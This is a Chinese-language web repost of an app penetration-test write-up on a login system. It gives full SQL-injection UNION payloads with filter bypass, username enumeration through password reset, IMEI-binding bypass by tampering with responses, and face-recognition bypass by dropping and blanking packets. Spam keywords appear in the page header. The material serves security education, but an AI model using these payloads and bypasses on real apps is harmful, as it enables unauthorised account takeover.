日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

App滲透 - 人臉識別登錄繞過

打開APP是一個登錄框

App滲透 - 從SQL注入到人臉識別登錄繞過

 

抓包后發現參數被加密了

App滲透 - 從SQL注入到人臉識別登錄繞過

 

使用Jadx脫源碼發現,并沒有加殼也沒有混淆,運氣很好

App滲透 - 從SQL注入到人臉識別登錄繞過

 

根據經驗,先搜索Encrypt、Decrypt等關鍵字,發現在Common.js中有一個encryptData函數

App滲透 - 從SQL注入到人臉識別登錄繞過

 

定位過去,一套加解密算法都寫好了放在這

App滲透 - 從SQL注入到人臉識別登錄繞過

 

放到瀏覽器console里面調試,果然沒錯

App滲透 - 從SQL注入到人臉識別登錄繞過

 

首先測試了一下注入

明文:{"userName":"TEST'","password":"123456","osType":"Android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果:App返回異常
App滲透 - 從SQL注入到人臉識別登錄繞過

 

明文:{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果:App返回正常
App滲透 - 從SQL注入到人臉識別登錄繞過

 

明文:{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果:App返回正常
App滲透 - 從SQL注入到人臉識別登錄繞過

 

至此已經可以判斷該登錄點就是一個注入了,可是返回結果始終都是“用戶名或密碼錯”即使用了' or '1'='1

App滲透 - 從SQL注入到人臉識別登錄繞過

 

根據返回結果推測,后端的登錄處的邏輯代碼可能是這樣的

userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;
if (userPass == <passWord>){
    return 'Login success';
}else{
    return 'Login failed';
}

通過Union注入構造萬能密碼,是可以造成任意用戶登陸的,測試過程如下
先使用order by測試,得知字段的數量為9個,構造payload

# 由于目標服務器帶有過濾,所以這里簡單的bypass一下
明文:{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果:App返回成功
App滲透 - 從SQL注入到人臉識別登錄繞過

 

由于Oracle在進行union查詢時,所對應的字段數據類型也必須相同,所以還要進行字段數據類型的測試,最終結果如下

# 注意這里passWord我修改成了123,用來測試Union構造的萬能密碼是否可行
明文:{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果:提示是弱密碼(說明此方法可行)
App滲透 - 從SQL注入到人臉識別登錄繞過

 


App滲透 - 從SQL注入到人臉識別登錄繞過

 


接下來就是一個字段一個字段的改過去,判斷哪個字段對應的是密碼字段,測試結果如下

# 注意這里passWord我修改成了Ceshi123@@@,不再是弱口令了
明文:{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
結果:提示登錄成功
App滲透 - 從SQL注入到人臉識別登錄繞過

 


App滲透 - 從SQL注入到人臉識別登錄繞過

 

在繞過后,發現程序出現了異常

App滲透 - 從SQL注入到人臉識別登錄繞過

 

仔細觀察返回的數據,其中有username(用戶名)、staffId(職工號)、email(郵箱)、staffName(姓名)、tel(手機號)、mobile(手機號),然而這些數據都是我剛剛自己隨便構造的,這里應該需要一個真實的用戶信息,供后續的登錄流程使用

App滲透 - 從SQL注入到人臉識別登錄繞過

 

好在,還是有一個地方能獲取真實的用戶信息的
App還有一個忘記密碼的功能(通常這里可以爆破用戶名)

App滲透 - 從SQL注入到人臉識別登錄繞過

 

利用忘記密碼的功能可以判斷用戶名是否存在,這里隨便跑了一下字典,就出來好多用戶名

App滲透 - 從SQL注入到人臉識別登錄繞過

 


App滲透 - 從SQL注入到人臉識別登錄繞過

 

自然而然地利用這些用戶名使用短信驗證碼登錄

App滲透 - 從SQL注入到人臉識別登錄繞過

 

獲取驗證碼,然后解密數據包,驚奇的發現返回了用戶基本信息

App滲透 - 從SQL注入到人臉識別登錄繞過

 

根據登錄返回結果,重新測試payload,最終結果如下

明文:{"userName":"TEST'union/**/select/**/<staffId>,'Qwe123@@@','<userName>','Qwe123@@@','<mobile>','<mobile>','<email>','865166023309431',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文:xxxxxxxxx
結果:提示登錄成功
App滲透 - 從SQL注入到人臉識別登錄繞過

 

仔細看返回的登錄數據,已經正常了

App滲透 - 從SQL注入到人臉識別登錄繞過

 

然后重新替換數據包登錄,提示綁定IMEI

App滲透 - 從SQL注入到人臉識別登錄繞過

 

這個繞過很簡單,隨便輸入驗證碼,替換返回包,把resultCode從1001改為1000就行(常規操作)

App滲透 - 從SQL注入到人臉識別登錄繞過

 


App滲透 - 從SQL注入到人臉識別登錄繞過

 

最終還要個人臉認證

App滲透 - 從SQL注入到人臉識別登錄繞過

 

先用自己的臉檢測,這時候手機會向服務器發包,burp把手機發向服務器的包直接丟掉就可以繞過

App滲透 - 從SQL注入到人臉識別登錄繞過

 

點擊確定后,還有一個大數據包發向服務器,這里面包含的是人臉數據

App滲透 - 從SQL注入到人臉識別登錄繞過

 

修改數據包,將其中的人臉數據替換為空,然后發送

App滲透 - 從SQL注入到人臉識別登錄繞過

 


App滲透 - 從SQL注入到人臉識別登錄繞過

 

最終的最終,成功登錄APP

App滲透 - 從SQL注入到人臉識別登錄繞過

 


App滲透 - 從SQL注入到人臉識別登錄繞過

 

----------------

轉載于https://xz.aliyun.com/t/8308

分享到:
標簽:滲透 App
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定